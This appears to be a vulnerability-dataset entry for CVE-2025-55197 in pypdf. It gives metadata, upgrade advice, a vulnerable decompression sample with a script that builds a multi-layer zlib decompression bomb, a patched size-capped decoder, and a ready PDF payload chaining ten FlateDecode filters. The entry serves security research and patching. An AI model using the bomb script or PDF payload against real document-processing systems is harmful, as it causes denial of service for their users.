CVE-2025-55197
A crafted PDF using FlateDecode filters can cause RAM exhaustion in pypdf.
- CVSS 6.6
- CWE-400
- Resource Management
- Local
pypdf is a free and open-source pure-python PDF library. Prior to version 6.0.0, an attacker can craft a PDF which leads to the RAM being exhausted. This requires just reading the file if a series of FlateDecode filters is used on a malicious cross-reference stream. Other content streams are affected on explicit access. This issue has been fixed in 6.0.0. If an update is not possible, a workaround involves including the fixed code from pypdf.filters.decompress into the existing filters file.
- CWE
- CWE-400
- CVSS base score
- 6.6
- Published
- 2025-08-13
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Algorithm
- Code defect classification
- Missing Check
- Category
- Resource Management
- Subcategory
- Resource Exhaustion
- Accessibility scope
- Local
- Impact
- Denial of Service (DoS)
- Affected component
- pypdf
- Fixed by upgrading
- Yes
Solution
Upgrade pypdf to version 6.0.0 or later.
Vulnerable code sample
import zlib
import sys
def vulnerable_decompress(data):
"""
This function represents the vulnerable decompression logic from pypdf < 6.0.0.
It lacks any protection against decompression bombs, which can lead to
massive memory allocation from a small input.
"""
try:
# The core of the vulnerability: blindly decompressing data without
# any limits on the output size.
return zlib.decompress(data)
except Exception:
# In a real scenario, more complex error handling might exist,
# but the fundamental flaw is the lack of size checks before decompression.
return data
def process_stream_with_filters(stream_data, filters):
"""
Simulates how pypdf would process a stream with a series of filters.
If multiple '/FlateDecode' filters are present, the vulnerable function
is called repeatedly.
"""
processed_data = stream_data
print(f"Initial data size: {len(processed_data)} bytes")
print(f"Applying filters: {filters}")
for i, filter_name in enumerate(filters):
if filter_name == '/FlateDecode':
print(f"-> Applying filter {i+1}: /FlateDecode...")
processed_data = vulnerable_decompress(processed_data)
# The size of processed_data can grow exponentially with each step.
print(f" Data size after decompression: {len(processed_data) / 1024 / 1024:.2f} MB")
# In a real library, other filters like /ASCIIHexDecode, etc., would be handled here.
return processed_data
def create_decompression_bomb(payload, layers):
"""
Creates a multi-layered compressed payload.
This simulates the data within a malicious PDF stream object.
"""
data = payload
for i in range(layers):
data = zlib.compress(data)
return data
if __name__ == "__main__":
print("--- Demonstrating CVE-2025-55197 (conceptual example) ---")
# 1. An attacker starts with a large, highly compressible payload (e.g., all zeros).
# Let's use 10 MB of zeros.
original_payload = b'\x00' * (10 * 1024 * 1024)
# 2. The attacker compresses this payload multiple times.
# This creates the "bomb". The resulting data is very small.
# Here we apply 4 layers of compression.
COMPRESSION_LAYERS = 4
malicious_stream_data = create_decompression_bomb(original_payload, COMPRESSION_LAYERS)
print(f"\nCreated a {COMPRESSION_LAYERS}-layer bomb.")
print(f"Original payload size: {len(original_payload) / 1024 / 1024:.2f} MB")
print(f"Malicious compressed size (as in PDF): {len(malicious_stream_data)} bytes")
# 3. The attacker crafts a PDF where a stream object uses a series of
# /FlateDecode filters, one for each layer of compression.
malicious_filters = ['/FlateDecode'] * COMPRESSION_LAYERS
print("\n--- Simulating vulnerable library reading the malicious stream ---")
print("The following operation will attempt to decompress the data repeatedly.")
print("This will likely exhaust system memory, demonstrating the DoS vulnerability.")
print("-" * 60)
try:
# 4. The vulnerable library reads the stream and applies the filters.
# This call triggers the massive memory allocation.
final_data = process_stream_with_filters(malicious_stream_data, malicious_filters)
print("\n[UNLIKELY SUCCESS] Decompression finished without error.")
print(f"Final data size in memory: {len(final_data) / 1024 / 1024:.2f} MB")
except MemoryError:
print("\n[VULNERABILITY TRIGGERED]", file=sys.stderr)
print("A 'MemoryError' was caught. The application ran out of RAM.", file=sys.stderr)
print("This demonstrates the Denial of Service (DoS) vulnerability.", file=sys.stderr)
sys.exit(1)
except Exception as e:
print(f"\nAn unexpected error occurred: {e}", file=sys.stderr)
sys.exit(1)Patched code sample
import zlib
from typing import Union
def FlateDecode_fixed(data: bytes) -> bytes:
"""
A demonstration of the fix for a decompression bomb vulnerability (like CVE-2025-55197).
The vulnerability occurs when a compressed data stream (e.g., using FlateDecode)
is crafted to decompress to an extremely large size, exhausting system RAM.
This is also known as a "decompression bomb" or "zip bomb".
The fix is to enforce a hard limit on the size of the decompressed output.
Instead of decompressing the entire stream at once, it is processed in a way
that allows for checking the output size against a predefined maximum limit. If
the limit is exceeded, the operation is aborted with an error, preventing
This function simulates the patched logic by using the `max_length` parameter
in `zlib.decompressobj().decompress()` to prevent catastrophic memory allocation.
The actual fix in pypdf is integrated into its filter processing logic but
follows the same principle.
"""
# Define a safe upper limit for the decompressed data size.
# For example, 100MB. This prevents an attacker from causing the
# process to allocate gigabytes of memory from a few kilobytes of input.
MAX_DECOMPRESSED_SIZE = 100 * 1024 * 1024 # 100 MB
try:
# The decompress object allows for more control over the decompression process.
decompressor = zlib.decompressobj()
# By providing `max_length`, we instruct zlib to not return more than
# this many bytes. We add 1 to the limit to detect if the output
# is *exactly* the limit or larger.
decompressed_data = decompressor.decompress(data, max_length=MAX_DECOMPRESSED_SIZE + 1)
# After the initial decompression, ensure no unconsumed data would
# push the total size over the limit.
if decompressor.unconsumed_tail or not decompressor.eof:
# If there is more data to decompress, it means the output would
# have been larger than our max_length argument.
raise ValueError(
"Decompression error: Potential decompression bomb detected. "
f"Output would exceed the limit of {MAX_DECOMPRESSED_SIZE} bytes."
)
# Check the final length of the decompressed data.
if len(decompressed_data) > MAX_DECOMPRESSED_SIZE:
raise ValueError(
"Decompression error: Potential decompression bomb detected. "
f"Output size ({len(decompressed_data)}) exceeds the limit of {MAX_DECOMPRESSED_SIZE} bytes."
)
return decompressed_data
except zlib.error as e:
# Catch errors from malformed zlib streams.
raise ValueError(f"FlateDecode error: Invalid or corrupt zlib stream - {e}")
except ValueError:
# Re-raise our custom value error for the decompression bomb.
raisePayload
%PDF-1.7
%âãÏÓ
1 0 obj
<</Type/Catalog/Pages 2 0 R>>
endobj
2 0 obj
<</Type/Pages/Count 1/Kids[3 0 R]>>
endobj
3 0 obj
<</Type/Page/Parent 2 0 R>>
endobj
4 0 obj
<</Type/XRef/Size 5/W[1 2 2]/Filter[/FlateDecode/FlateDecode/FlateDecode/FlateDecode/FlateDecode/FlateDecode/FlateDecode/FlateDecode/FlateDecode/FlateDecode]/Length 93>>
stream
xúíÁÁqÄ üo›! ßþÿéùøÞÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ-áÏî
endstream
endobj
trailer
<</Size 5/Root 1 0 R/XRefStm 169>>
startxref
538
%%EOF
Cite this entry
@misc{vaitp:cve202555197,
title = {{A crafted PDF using FlateDecode filters can cause RAM exhaustion in pypdf.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2025},
note = {VAITP Python Vulnerability Dataset, entry CVE-2025-55197},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-55197/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
